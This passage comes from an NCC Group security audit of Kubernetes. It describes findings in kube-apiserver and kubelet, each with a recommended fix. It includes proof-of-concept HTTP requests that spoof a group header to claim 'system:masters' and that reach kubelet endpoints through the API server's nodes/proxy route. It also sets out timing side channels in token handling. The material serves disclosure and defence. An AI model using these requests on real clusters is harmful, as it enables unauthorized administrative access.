21. Configure the Aggregation Layer: https://kubernetes.io/docs/tasks/extend-kubernetes/configure-aggregation-layer/#extension-apiserver-authorizes-the-request

The relevant code can be seen below. Fixed values are used for the header names, without considering that these are configurable.

```go
// SetAuthProxyHeaders stomps the auth proxy header fields.  It mutates its argument.
func SetAuthProxyHeaders(req *http.Request, username string, groups []string, extra
↳ map[string][]string) {
  req.Header.Del("X-Remote-User")
  req.Header.Del("X-Remote-Group")
  for key := range req.Header {
    if strings.HasPrefix(strings.ToLower(key), strings.ToLower("X-Remote-Extra-")) {
      req.Header.Del(key)
    }
  }

  req.Header.Set("X-Remote-User", username)
  for _, group := range groups {
    req.Header.Add("X-Remote-Group", group)
  }
  for key, values := range extra {
    for _, value := range values {
      req.Header.Add("X-Remote-Extra-"+headerKeyEscape(key), value)
    }
  }
}
```

Figure 8: https://github.com/kubernetes/kubernetes/blob/v1.24.0/staging/src/k8s.io/client-go/transport/round_trippers.go#L123-L142

The HTTP request and response below illustrate this issue. An extension API server has been set up, which simply echoes back details of the incoming request from the main API server.

The main API server has been configured with the following flags, which provide additional header names:

- `--requestheader-extra-headers-prefix=X-Extra-Remote`
- `--requestheader-group-headers=X-Group-Remote`
- `--requestheader-username-headers=X-User-Remote`

The request uses a static bearer token, which maps to a user with only read permissions (`read-only-user`). However, a spoofed header using the configured name for the group header (`X-Group-Remote`) has been added to the request, and is passed successfully through the proxy. Attempting to spoof a header with the default name (`X-Remote-Group`) is not successful.

```http
GET /apis/echo-server.k8s.io/v1beta1 HTTP/1.1
Host: 192.168.136.27:6443
Authorization: Bearer b523cd80-2bde-45ac-a6b7-ef9b143f8e90
X-Group-Remote: system:masters
X-Remote-Group: this-gets-stripped
```

```http
HTTP/1.1 200 OK
Audit-Id: b35eb75e-d3c6-446a-97d9-7f8010f9f8e6
Cache-Control: no-cache, private
Content-Length: 836
Content-Type: application/json; charset=utf-8
```

```
Date: Wed, 01 Jun 2022 10:47:35 GMT
Etag: W/"344-wS6uiAQ8sXM2QjBk34chVaNMn0g"
X-Kubernetes-Pf-Flowschema-Uid: a46e24f7-ec96-415a-bbf8-e8ff7a68840e
X-Kubernetes-Pf-Prioritylevel-Uid: c608a0cb-6932-4044-92ec-4fb9e462146e
X-Powered-By: Express

{
  "path": "/apis/echo-server.k8s.io/v1beta1",
  "headers": {
    "host": "10.110.45.92:443",
    "audit-id": "b35eb75e-d3c6-446a-97d9-7f8010f9f8e6",
    "x-forwarded-for": "192.168.136.1",
    "x-forwarded-host": "10.110.45.92:443",
    "x-forwarded-proto": "https",
    "x-forwarded-uri": "/apis/echo-server.k8s.io/v1beta1",
    "x-group-remote": "system:masters",
    "x-remote-group": "system:authenticated",
    "x-remote-user": "read-only-user",
    "accept-encoding": "gzip"
  },
  "method": "GET",
  "body": "",
  "fresh": false,
  "hostname": "10.110.45.92",
  "ip": "192.168.136.1",
  "ips": [
    "192.168.136.1"
  ],
  "protocol": "https",
  "query": {},
  "subdomains": [],
  "xhr": false,
  "os": {
    "hostname": "echo-server-f4b8cdb66-4z7cq"
  },
  "connection": {
    "servername": "echo-server.kube-system.svc"
  }
}
```

Recommendation

Modify the `SetAuthProxyHeaders` method so that it also strips headers with the names configurable using the `--requestheader-username-headers`, `--requestheader-group-headers` and `--requestheader-extra-headers-prefix` options.

Location

Function `SetAuthProxyHeaders()` in file round_trippers.go:L124

Info

Timing Side Channel in Bootstrap Tokens Generation and Handling

Overall Risk	Informational	**Finding ID**	NCC-E003660-TTV
Impact	High	**Component**	kube-apiserver
Exploitability	Undetermined	**Category**	Cryptography
		Status	Reported

Impact

Attackers may determine Booststrap Token values based on timing-based side channels. This may in turn allow them to establish further attacks against a Kubernetes cluster, including joining nodes to an existing cluster. Feasibility of this attack is contingent on a number of factors including but not limited to the underlying hardware platform running the Kubernetes system, and the deployment landscape.

Description

Kubernetes Bootstrap Tokens are bearer token credentials employed to authenticate requests against the API server, when creating new clusters or joining new nodes to an existing cluster. NCC Group identified a number of functions that handle the Bootstrap Token, and whose implementations are not constant-time.

The function `randBytes()`, in package `util`, generates Bootstrap Token secret values; it does so by sampling alphanumeric characters from a table, based on a random secret index. The access time of a table element, and resulting cache memory contents, may vary with the access index, which may assist attackers with inferring partial or full information about a token value. The issue is illustrated below:

```go
// randBytes returns a random string consisting of the characters in
// validBootstrapTokenChars, with the length customized by the parameter
func randBytes(length int) (string, error) {
  // len("0123456789abcdefghijklmnopqrstuvwxyz") = 36 which doesn't evenly divide
  // the possible values of a byte: 256 mod 36 = 4. Discard any random bytes we
  // read that are >= 252 so the bytes we evenly divide the character set.
  const maxByteValue = 252

  var (
    b     byte
    err   error
    token = make([]byte, length)
  )

  reader := bufio.NewReaderSize(rand.Reader, length*2)
  for i := range token {
    for {
      if b, err = reader.ReadByte(); err != nil {
        return "", err
      }
      if b < maxByteValue {
        break
      }
    }
    token[i] = validBootstrapTokenChars[int(b)%len(validBootstrapTokenChars)]
  }

  return string(token), nil
}
```

Furthermore, note that the modulo operation in the code highlighted above is not guaranteed to be constant-time. A simple machine code implementation of modulo may use a division operator, such as the Intel architecture's `DIV` instruction, which does not execute in constant-time and is slow. Compilers on common platforms, when the code output is not optimized for space, will typically replace the modulo/division operation, using a known-at-compile-time divisor, with a usually constant-time multiplication operation followed by a shift operation, which is faster. NCC Group validated that the modulo operation, at least using Go compiler version 1.18 on the macOS Intel platform, was constant-time, but this may not be the case in other deployment scenarios.

The function `IsValidBootstrapToken()` attempts to determine whether a Bootstrap Token value is valid, based on a regular expression, as illustrated below:

```
// IsValidBootstrapToken returns whether the given string is valid as a Bootstrap Token and
// in other words satisfies the BootstrapTokenRegexp
func IsValidBootstrapToken(token string) bool {
  return BootstrapTokenRegexp.MatchString(token)
}
```

The actual regular expression to match a token is as follows:

```
// BootstrapTokenPattern defines the {id}.{secret} regular expression pattern
  BootstrapTokenPattern = `\A([a-z0-9]{6})\.([a-z0-9]{16})\z`
```

The regular expression is compiled to a state machine that detects whether each token character is within a number range, and if not, within a letter range. The compiled regular expression iterates over an array representing these ranges (`[48, 57, 97, 122]`), and returns immediately when a given character matches the range. This process is not constant-time and may leak whether each character of the token is a number or a letter, thus reducing the search space for an attacker to guess a token secret value. The side channel happens in function `MatchRunePos()` of the regular expression package in Go's standard library (`libexec/src/regexp/syntax/prog.go`):

```
// MatchRunePos checks whether the instruction matches (and consumes) r.
// If so, MatchRunePos returns the index of the matching rune pair
// (or, when len(i.Rune) == 1, rune singleton).
// If not, MatchRunePos returns -1.
// MatchRunePos should only be called when i.Op == InstRune.
func (i *Inst) MatchRunePos(r rune) int {
  rune := i.Rune

  switch len(rune) {
  case 0:
    return noMatch

// SNIP

  case 4, 6, 8:
    // Linear search for a few pairs.
    // Should handle ASCII well.
    for j := 0; j < len(rune); j += 2 {
      if r < rune[j] {
        return noMatch
      }
      if r <= rune[j+1] {
        return j / 2
      }
    }
    return noMatch
  }

  // SNIP
}
```

It is possible (but was not validated during the time allocated to the project) that other side channels are present in the processing of tokens in Go's regular expression library. In general, one should be careful about handling secrets with regular expressions, because they are not implemented with side channels in mind.

Recommendation

When generating a secret token value, ensure that the selection process from the alphanumeric table is done in constant-time. The problem is akin to base64 encoding and decoding in constant-time, as implemented by the BearSSL TLS library[22].
Given a byte `x` in the 0..35 range, which we want to map to a digit range (ASCII values 48 to 57) and lower case character range (ASCII values 97 to 122), the constant-time selection process can be achieved as follows: `x + 48 + (39 & ((9 - x) >> 8))`.

In order to increase the level of assurance that the modulo operation is performed in constant-time on various platforms, and despite changes to compilers, consider modeling the modulo operation as an explicit multiply and shift operation. The 1991 Granlund-Montgomery paper explains this technique[23].

Avoid performing regular expression operations on secret data. Consider performing constant-time comparison of values instead.

Location

- Function `randBytes()` in file helpers.go:L84
- Function `IsValidBootstrapToken()` in file helpers.go:L97

22. https://bearssl.org/gitweb/?p=BearSSL;a=blob;f=src/codec/pemenc.c;h=236601e60d45a24e078df4468993a94c6f829141;hb=d40d23b60cf1a42188a441b59226db35da234fea#l31
23. https://gmplib.org/~tege/divcnst-pldi94.pdf

Info

Non Constant-Time Comparison of Service Account Token Secrets

Overall Risk	Informational	**Finding ID**	NCC-E003660-PCK
Impact	High	**Component**	kube-apiserver
Exploitability	None	**Category**	Cryptography
		Status	Reported

Impact

An attacker may be able to guess a service account token secret, and impersonate the affected account to read, modify, or delete application data to which the account has access in a Kubernetes cluster.

Description

Service account token secrets (`kubernetes.io/service-account-token`) are a type of secret used to authenticate service accounts. The “Service account token Secrets” section of the Kubernetes “Configuration” documentation[24] does not recommend their usage:

> Since 1.22, this type of Secret is no longer used to mount credentials into Pods, and obtaining tokens via the TokenRequest API is recommended instead of using service account token Secret objects. Tokens obtained from the TokenRequest API are more secure than ones stored in Secret objects, because they have a bounded lifetime and are not readable by other API clients. You can use the `kubectl create token command` to obtain a token from the TokenRequest API.
>
> You should only create a service account token Secret object if you can’t use the TokenRequest API to obtain a token, and the security exposure of persisting a non-expiring token credential in a readable API object is acceptable to you.

Nevertheless, their usage appears to be possible, and may be employed by Kubernetes users. The process of creating a service account token is documented in the “Configure Service Accounts for Pods” documentation section[25].

An incoming service account request is authenticated by first verifying the JWT signature of the token, then by comparing the secret token value embedded in the request, against the server’s record of the value. If the values don’t match, the authentication request is rejected. The comparison is performed in a non constant-time way; that is, it will return as soon as it reaches mismatched bytes between the two values. This leaks information about the token, which may assist attackers in successfully guessing the secret value. The issue is present in function `Validate()` of file `Legacy.go`:

```
func (v *legacyValidator) Validate(ctx context.Context, tokenData string, public *jwt.Claims,
↳ privateObj interface{}) (*apiserverserviceaccount.ServiceAccountInfo, error) {
  // SNIP

  if v.lookup {
    // Make sure token hasn't been invalidated by deletion of the secret
```

24. https://kubernetes.io/docs/concepts/configuration/_print/#service-account-token-secrets
25. https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#manually-create-a-service-account-api-token

```
    secret, err := v.getter.GetSecret(namespace, secretName)
    if err != nil {
      klog.V(4).Infof("Could not retrieve token %s/%s for service account %s/%s: %v",
      ↳ namespace, secretName, namespace, serviceAccountName, err)
      return nil, errors.New("Token has been invalidated")
    }
    if secret.DeletionTimestamp != nil {
      klog.V(4).Infof("Token is deleted and awaiting removal: %s/%s for service account %s/
      ↳ %s", namespace, secretName, namespace, serviceAccountName)
      return nil, errors.New("Token has been invalidated")
    }
    if [!bytes.Equal(secret.Data[v1.ServiceAccountTokenKey], []byte(tokenData)) {
      klog.V(4).Infof("Token contents no longer matches %s/%s for service account %s/%s",
      ↳ namespace, secretName, namespace, serviceAccountName)
      return nil, errors.New("Token does not match server's copy")
    }

    // SNIP
  }

  return &apiserverserviceaccount.ServiceAccountInfo{
    Namespace: private.Namespace,
    Name:      private.ServiceAccountName,
    UID:       private.ServiceAccountUID,
  }, nil
}
```

Mounting a successful attack using this finding is likely not feasible, with NCC Group's current understanding of the system and its present implementation. It would require an endpoint that does not perform JWT signature verification, and/or the ability to replay old invalid account service tokens, to force the authenticator component to perform a comparison with its current valid token record, and for the attacker to infer some information about the current token in the process. Nevertheless, it would be judicious to ensure that all secrets are handled without side channels, in case of future API changes.

Recommendation

Compare the token secret values in constant-time. This can be achieved by using Go's `ConstantTimeCompare()`[26] function of the `subtle` package.

Location

Function `Validate()` in file Legacy.go:L110

26. https://pkg.go.dev/crypto/subtle#ConstantTimeCompare

Info

Low Entropy Bootstrap Tokens

Overall Risk	Informational	**Finding ID**	NCC-E003660-WHE
Impact	High	**Component**	kube-apiserver
Exploitability	None	**Category**	Cryptography
		Status	Reported

Impact

The level of entropy in bootstrap token secrets does not meet security best practice. If an attacker is able to acquire a bootstrap token, they could obtain cluster admin privileges by joining their own node to the cluster as a master node.

Description

The bootstrap token secrets used by the Kubernetes API server consist of 16 base-36 characters, which provides approximately 83 bits[27] of entropy. It is conventional to use at least 128 bits of entropy for static secrets or symmetric keys, and indeed the naming of the `BootstrapTokenSecretBytes` variable in the source code (which takes the value 16) suggests that this was perhaps the intention here. Note that it is possible to perform an offline brute-force attack to recover bootstrap token secrets (based on the signature of the `cluster-info` configmap), and while this is not realistically exploitable with current technology, the length of the token secrets should be increased in line with security best practice.

Token secrets are generated using the code shown below.

```go
// validBootstrapTokenChars defines the characters a bootstrap token can consist of
const validBootstrapTokenChars = "0123456789abcdefghijklmnopqrstuvwxyz"

...

// GenerateBootstrapToken generates a new, random Bootstrap Token.
func GenerateBootstrapToken() (string, error) {
  tokenID, err := randBytes(api.BootstrapTokenIDBytes)
  if err != nil {
    return "", err
  }

  tokenSecret, err := randBytes(api.BootstrapTokenSecretBytes)
  if err != nil {
    return "", err
  }

  return TokenFromIDAndSecret(tokenID, tokenSecret), nil
}

// randBytes returns a random string consisting of the characters in
// validBootstrapTokenChars, with the length customized by the parameter
func randBytes(length int) (string, error) {
  // len("0123456789abcdefghijklmnopqrstuvwxyz") = 36 which doesn't evenly divide
  // the possible values of a byte: 256 mod 36 = 4. Discard any random bytes we
  // read that are >= 252 so the bytes we evenly divide the character set.
  const maxByteValue = 252
```

27. $16\log_2(36)$

```

  var (
    b     byte
    err   error
    token = make([]byte, length)
  )

  reader := bufio.NewReaderSize(rand.Reader, length*2)
  for i := range token {
    for {
      if b, err = reader.ReadByte(); err != nil {
        return "", err
      }
      if b < maxByteValue {
        break
      }
    }

    token[i] = validBootstrapTokenChars[int(b)%len(validBootstrapTokenChars)]
  }

  return string(token), nil
}
```

Figure 9: https://github.com/kubernetes/kubernetes/blob/v1.24.0/staging/src/k8s.io/cluster-bootstrap/token/util/helpers.go#L32-L88

The `cluster-info` configmap in the `kube-public` namespace includes a signature (in the `jws-kubeconfig-xxxxx` field), which is calculated using a bootstrap token secret, and would allow a brute force attack to be performed to attempt to discover the secret.

Recommendation

Increase the length of bootstrap token secrets so that they include at least 128 bits of entropy.

Location

- Function `GenerateBootstrapToken()` in file helpers.go:L45

7 Finding Details – kubelet

Medium

Privilege Escalation via `nodes/proxy` Permission

Overall Risk	Medium	**Finding ID**	NCC-E003660-WV3
Impact	High	**Component**	kubelet
Exploitability	Low	**Category**	Access Controls
		Status	Reported

Impact

A user with permissions on the `nodes/proxy` subresource in a cluster has full permissions against the kubelet API on any node by proxying requests through the API server, and can execute commands in any pod. This may represent privileges beyond those expected by the cluster administrator, and this situation is not explained in the Kubernetes documentation.

Description

The Kubernetes API server proxy is a feature which allows users to proxy requests through the API server to workloads or nodes. When a proxy request is made to the kubelet service on a node, the API server's own client certificate (which in a typical cluster is a user in the `system:masters` group) is used to authenticate the request - this is described in detail in finding "Redirection of API Server Traffic to Kubelet". This effectively allows a user with *get* permissions against the `nodes/proxy` subresource to make GET requests to the kubelet API as `system:masters` (and equivalent for *create*, *patch*, etc.). It is not clear from the Kubernetes documentation that giving a user permission to make proxied requests to nodes is effectively permitting them to run arbitrary commands against any pod (as can be achieved using the Kubelet API's `/exec` endpoint).

This finding was recently discussed in a blog post from Aqua Security[28].

To illustrate this issue, note the HTTP request and response below, which are made with a bearer token corresponding to a user with (only) permissions on the `nodes/proxy` subresource. It is not possible to directly invoke the `/logs` endpoint on the kubelet service, because the user does not have `nodes/log` permissions.

```
GET /logs/ HTTP/1.1
Host: 192.168.136.28:10250
Authorization: Bearer 88888
```

```
HTTP/1.1 403 Forbidden
Date: Wed, 13 Jul 2022 15:43:10 GMT
Content-Length: 76
Content-Type: text/plain; charset=utf-8

Forbidden (user=rtt-node-proxier, verb=get, resource=nodes, subresource=log)
```

28. Privilege Escalation from Node/Proxy Rights in Kubernetes RBAC: https://blog.aquasec.com/privilege-escalation-kubernetes-rbac

However, proxying the same request through the API server is successful (because the API server presents its own client certificate to the remote kubelet):

```
GET /api/v1/nodes/https:rtt-k8s-node:10250/proxy/logs/ HTTP/1.1
Host: 192.168.136.27:6443
Authorization: Bearer 88888
```

```
HTTP/1.1 200 OK
Audit-Id: de731b3c-af7a-45e0-8220-b4d9d6a6b950
Cache-Control: no-cache, private
Content-Type: text/html; charset=utf-8
Date: Wed, 13 Jul 2022 15:48:59 GMT
Last-Modified: Wed, 13 Jul 2022 14:32:11 GMT
Content-Length: 3047

<pre>
<a href="alternatives.log">alternatives.log</a>
<a href="alternatives.log.1">alternatives.log.1</a>
<snip>
```

Recommendation

Ensure that the Kubernetes documentation makes it clear that permissions on the `nodes/proxy` subresource are powerful, overriding other permissions against nodes (as shown above) and permitting commands to be run in pods.

Location

kubelet

Info

Dangerous File Path Construction

Overall Risk	Informational	**Finding ID**	NCC-E003660-B4Y
Impact	Medium	**Component**	kubelet
Exploitability	None	**Category**	Data Validation
		Status	Reported

Impact

If this were exploitable it would allow for retrieval of arbitrary local files by privileged users of the API service, but as things stand the risk is mitigated.

Description

The `/logs` kubelet API handler uses a dangerous coding pattern to construct a local file path before returning the contents of the file to the user. This API method uses `path.Join` to append a user-provided string, representing the name of a log file, to the literal `"/var/log"` before returning the file's contents in the HTTP response using `http.ServeFile`. No first-party validation is performed to ensure that the provided filename is free from dangerous path traversal sequences (`..`). Incidentally, this issue is not exploitable because Golang's `http.Server` explicitly sanitizes its input to remove such path traversal sequences, but if it weren't for this platform-provided security measure the API method would allow for retrieval of arbitrary local files.

pkg/routes/logs.go:44

```
func logFileHandler(req *restful.Request, resp *restful.Response) {
  logdir := "/var/log"
  actual := path.Join(logdir, req.PathParameter("logpath"))

  // check filename length first, return 404 if it's oversize.
  if logFileNameIsTooLong(actual) {
    http.Error(resp, "file not found", http.StatusNotFound)
    return
  }
  http.ServeFile(resp.ResponseWriter, req.Request, actual)
}
```

As the handler is not exploitable and the mitigating control is part of the Golang platform (and hence extremely unlikely to be weakened with future releases) this issue is raised as informational. Nonetheless, this coding practice should be discouraged.

Recommendation

No action is necessary, but it is important that the handler function is never updated to manually canonicalize the file path after its construction (but before passing it to `http.ServeFile`) - an operation that would typically be harmless or even considered rigorous.

The practice of including request parameters directly into local file paths using `string.Join` without validation or sanitization is not safe and should be disallowed, with supporting static analysis rules put in place to support this.

Location

`pkg/routes/logs.go:44`

8 Finding Field Definitions

The following sections describe the risk rating and category assigned to issues NCC Group identified.

Risk Scale

NCC Group uses a composite risk score that takes into account the severity of the risk, application's exposure and user population, technical difficulty of exploitation, and other factors. The risk rating is NCC Group's recommended prioritization for addressing findings. Every organization has a different risk sensitivity, so to some extent these recommendations are more relative than absolute guidelines.

Overall Risk

Overall risk reflects NCC Group's estimation of the risk that a finding poses to the target system or systems. It takes into account the impact of the finding, the difficulty of exploitation, and any other relevant factors.

Rating	Description
Critical	Implies an immediate, easily accessible threat of total compromise.
High	Implies an immediate threat of system compromise, or an easily accessible threat of large-scale breach.
Medium	A difficult to exploit threat of large-scale breach, or easy compromise of a small portion of the application.
Low	Implies a relatively minor threat to the application.
Informational	No immediate threat to the application. May provide suggestions for application improvement, functional issues with the application, or conditions that could later lead to an exploitable finding.

Impact

Impact reflects the effects that successful exploitation has upon the target system or systems. It takes into account potential losses of confidentiality, integrity and availability, as well as potential reputational losses.

Rating	Description
High	Attackers can read or modify all data in a system, execute arbitrary code on the system, or escalate their privileges to superuser level.
Medium	Attackers can read or modify some unauthorized data on a system, deny access to that system, or gain significant internal technical information.
Low	Attackers can gain small amounts of unauthorized information or slightly degrade system performance. May have a negative public perception of security.

Exploitability

Exploitability reflects the ease with which attackers may exploit a finding. It takes into account the level of access required, availability of exploitation information, requirements relating to social engineering, race conditions, brute forcing, etc, and other impediments to exploitation.

Rating	Description
High	Attackers can unilaterally exploit the finding without special permissions or significant roadblocks.
Medium	

Rating	Description
	Attackers would need to leverage a third party, gain non-public information, exploit a race condition, already have privileged access, or otherwise overcome moderate hurdles in order to exploit the finding.
Low	Exploitation requires implausible social engineering, a difficult race condition, guessing difficult-to-guess data, or is otherwise unlikely.

Category

NCC Group categorizes findings based on the security area to which those findings belong. This can help organizations identify gaps in secure development, deployment, patching, etc.

Category Name	Description
Access Controls	Related to authorization of users, and assessment of rights.
Auditing and Logging	Related to auditing of actions, or logging of problems.
Authentication	Related to the identification of users.
Configuration	Related to security configurations of servers, devices, or software.
Cryptography	Related to mathematical protections for data.
Data Exposure	Related to unintended exposure of sensitive information.
Data Validation	Related to improper reliance on the structure or values of data.
Denial of Service	Related to causing system failure.
Error Reporting	Related to the reporting of error conditions in a secure fashion.
Patching	Related to keeping software up to date.
Session Management	Related to the identification of authenticated users.
Timing	Related to race conditions, locking, or order of operations.

9 Contact Info

The team from NCC Group has the following primary members:

- Iain Smart – Consultant
  iain.smart@nccgroup.com
- Richard Turnbull – Consultant
  richard.turnbull@nccgroup.com
- Gerald Doussot – Consultant
  gerald.doussot@nccgroup.com
- Divya Natesan – Consultant
  divya.natesan@nccgroup.com
- Jeff Dileo – Consultant
  jeff.dileo@nccgroup.com
- Greg Jenkins – Consultant
  greg.jenkins@nccgroup.com
- Michael Roberts – Consultant
  michael.roberts@nccgroup.com
- Chris Anley – Consultant
  chris.anley@nccgroup.com
- Eli Sohl – Consultant
  eli.sohl@nccgroup.com
- Lois Herr – Project Manager
  lois.herr@nccgroup.com
- Jennifer Fernick – Executive Sponsor
  jennifer.fernick@nccgroup.com

The team from Cloud Native Computing Foundation has the following primary member:

- Kubernetes SIG Security
  https://github.com/kubernetes/community/tree/master/sig-security